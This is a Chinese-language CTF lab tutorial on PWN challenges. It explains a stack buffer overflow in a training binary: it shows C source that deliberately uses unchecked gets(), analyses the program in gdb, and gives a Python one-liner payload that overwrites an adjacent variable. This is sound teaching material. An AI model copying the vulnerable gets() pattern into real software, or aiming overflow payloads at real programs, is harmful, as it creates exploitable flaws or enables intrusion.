CTF-PWN練習
預備知識
本實驗要求實驗者具備如下的相關知識。
一、瞭解CTF
CTF的全稱是Capture The Flag,即奪旗的意思,因此CTF比賽也稱為奪旗比賽。CTF奪旗賽是電腦保安競賽的一種形式,CTF比賽主要表現以下幾個技能上:逆向工程、密碼 學、ACM程式設計、Web漏洞、二進位制溢位、網路和取證等。在國際CTF賽事中,二進位制溢位也稱之為PWN。
PWN是一個黑客語法的俚語詞,自"own"這個字引申出來的,這個詞的含意在於,玩家在整個遊戲對戰中處在勝利的優勢,或是說明競爭對手處在完全慘敗的 情形下,這個詞習慣上在網路遊戲文化主要用於嘲笑競爭對手在整個遊戲對戰中已經完全被擊敗(例如:"You just got pwned!")。有一個非常著名的國際賽事叫做Pwn2Own,相信你現在已經能夠理解這個名字的含義了,即通過打敗對手來達到擁有的目的。
CTF中PWN題型通常會直接給定一個已經編譯好的二進位制程式(Windows下的EXE或者Linux下的ELF檔案等),然後參賽選手通過對二進位制程 序進行逆向分析和除錯來找到利用漏洞,並編寫利用程式碼,通過遠端程式碼執行來達到溢位攻擊的效果,最終拿到目標機器的shell奪取flag。
二、Linux管道
Linux管道可以將一個程序的標準輸出作為另一個程序的標準輸入,管道的操作符號為“|”,比如ls命令可用於檢視當前目錄下的檔案列表,而grep命 令可用於匹配特定的字元,因此ls | grep test命令可用於列出當前目錄下檔名包含test的檔案。
三、Python基礎
在Linux shell中執行python -c "print 'Hello'"可以執行雙引號中的Python語句,即通過print打印出Hello字串。Python中單引號和雙引號沒有區別,因為這裡使用雙 引號修飾Python語句,因此使用單引號修飾字符串。
四、gdb偵錯程式
gdb是Linux下常用的一款命令列偵錯程式,擁有十分強大的除錯功能。gdb命令如下:
五、彙編基礎
讀懂常見的彙編指令是CTF競賽中PWN解題的基本要求,彙編指令如下:
組合語言中,esp暫存器用於指示當前函式棧幀的棧頂的位置,函式中區域性變數都儲存在棧空間中,棧的生長方向是向下的(即從高地址往低地址方向生長)。
緩衝區溢位是指當計算機向緩衝區內填充資料位數時超過了緩衝區本身的容量,使得溢位的資料覆蓋在合法資料上,理想的情況是程式檢查資料長度並不允許輸入超 過緩衝區長度的字元,但是絕大多數程式都會假設資料長度總是與所分配的儲存空間相匹配,這就為緩衝區溢位埋下隱患。
實驗目的
1)瞭解CTF競賽中的PWN題型
2)瞭解緩衝區溢位攻擊
3)熟悉gdb的基本用法
實驗環境
伺服器:CentOS6.5,IP地址:隨機分配
輔助工具:Python,gdb
實驗步驟一
描述:
主機/home/test/1目錄下有一個pwn1程式,執行這個程式的時候可以輸入資料進行測試,pwn1程式會輸出Please try again.的提示資訊,請對pwn1程式進行逆向分析和除錯,找到程式內部的漏洞,並構造特殊的輸入資料,使之輸出Congratulations, you pwned it.資訊。
原始碼審計
在實際的CTF競賽的PWN題目中,一般是不會提供二進位制程式的原始碼的。這裡為了方便大家學習,給出二進位制程式的C語言原始碼供大家分析,以原始碼審計的方式確定漏洞所在位置,方便後續進行彙編級別的分析。
(在沒有原始碼的情況下,我們通常使用IDA Pro對二進位制程式進行逆向分析,使用IDA的Hex-Rays外掛可以將反彙編程式碼還原為C語言虛擬碼,可以達到類似原始碼的可讀效果,在後期的實驗中會專門對IDA的使用進行講解)
使用cd /home/test/1切換到程式所在目錄,執行cat pwn1.c即可看到原始碼:
#include <stdio.h> int main(int argc, char** argv) { int modified; char buffer[64]; modified = 0; gets(buffer); // 引發緩衝區溢位 if (modified != 0) { printf("Congratulations, you pwned it.\n"); } else { printf("Please try again.\n"); } return 0; }
使用gets函式讀取輸入資料時,並不會對buffer緩衝區的長度進行檢查,輸入超長的輸入資料時會引發緩衝區溢位。
實驗步驟二
使用gdb除錯程式
執行gdb pwn1即可開始通過gdb對pwn1進行除錯,現在我們需要閱讀main函式的彙編程式碼,在gdb中執行disas main命令即可:
下面是對main函式中的彙編程式碼的解釋:
0x080482a0 <+0>: push %ebp
0x080482a1 <+1>: mov %esp,%ebp
0x080482a3 <+3>: and $0xfffffff0,%esp
; esp = esp - 0x60,即在棧上分配0x60)位元組的空間
0x080482a6 <+6>: sub $0x60,%esp
; modified變數位於esp + 0x5C處,將其初始化為0
0x080482a9 <+9>: movl $0x0,0x5c(%esp)
; buffer位於esp + 0x1C處
0x080482b1 <+17>: lea 0x1c(%esp),%eax
0x080482b5 <+21>: mov %eax,(%esp)
; 呼叫gets(buffer)讀取輸入資料
0x080482b8 <+24>: call 0x8049360 <gets>
; 判斷modified變數的值是否是0
0x080482bd <+29>: cmpl $0x0,0x5c(%esp)
; 如果modified的值等於0,就跳轉到 0x080482d2
0x080482c2 <+34>: je 0x80482d2 <main+50>
; modified不為0,列印成功提示
0x080482c4 <+36>: movl $0x80b3eec,(%esp)
0x080482cb <+43>: call 0x8049500 <puts>
0x080482d0 <+48>: jmp 0x80482de <main+62>
; modified為0,列印失敗提示
0x080482d2 <+50>: movl $0x80b3f0b,(%esp)
0x080482d9 <+57>: call 0x8049500 <puts>
0x080482de <+62>: mov $0x0,%eax
0x080482e3 <+67>: leave
0x080482e4 <+68>: ret
通過對上面的彙編程式碼進行分析,我們知道buffer位於esp+0x1C處,而modified位於esp+0x5C處,兩個地址的距離為0x5C - 0x1C = 0x40,即64,剛好為buffer陣列的大小。因此當我們輸入的資料超過64位元組時,modified變數就可以被覆蓋。
下面在gdb中進行驗證,在gdb中執行b *0x080482bd命令對gets的下一條指令下一個斷點:
在gdb中執行r命令,讓被除錯的pwn1程式跑起來,就可以輸入資料進行測試了,這裡我們輸入64個A以及1個B(即 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB),按下 Enter鍵程式就在斷點處斷下了:
在gdb中輸入x $esp+0x5C,檢視modified變數的值已經被修改成了0x00000042,而0x42就是字元’B’的ASCII值,表明我們成功用輸入資料的第65個位元組覆蓋了modified變數:
在gdb中連續兩次執行ni命令,可以看到je指令沒有跳轉,說明modified的值不為0,程式進入輸出通過資訊的if語句分支:
在gdb中輸入c命令就可以讓程式繼續執行,看到輸出了通過提示資訊:
實驗步驟三
體驗溢位攻擊效果
通過上面的步驟我們已經知道了如果控制輸入資料來進行攻擊,以達到進入if語句分支的目的。下面我們就可以通過構造輸入資料進行攻擊了。
如果你還沒有退出gdb,輸入q命令就可以退出gdb。下面通過python語句構造輸入資料,然後通過管道傳給pwn1程式,執行命令python -c "print 'A'*64+'B'" | ./pwn1
看到已經成功發起了溢位攻擊,程式被你PWN掉啦!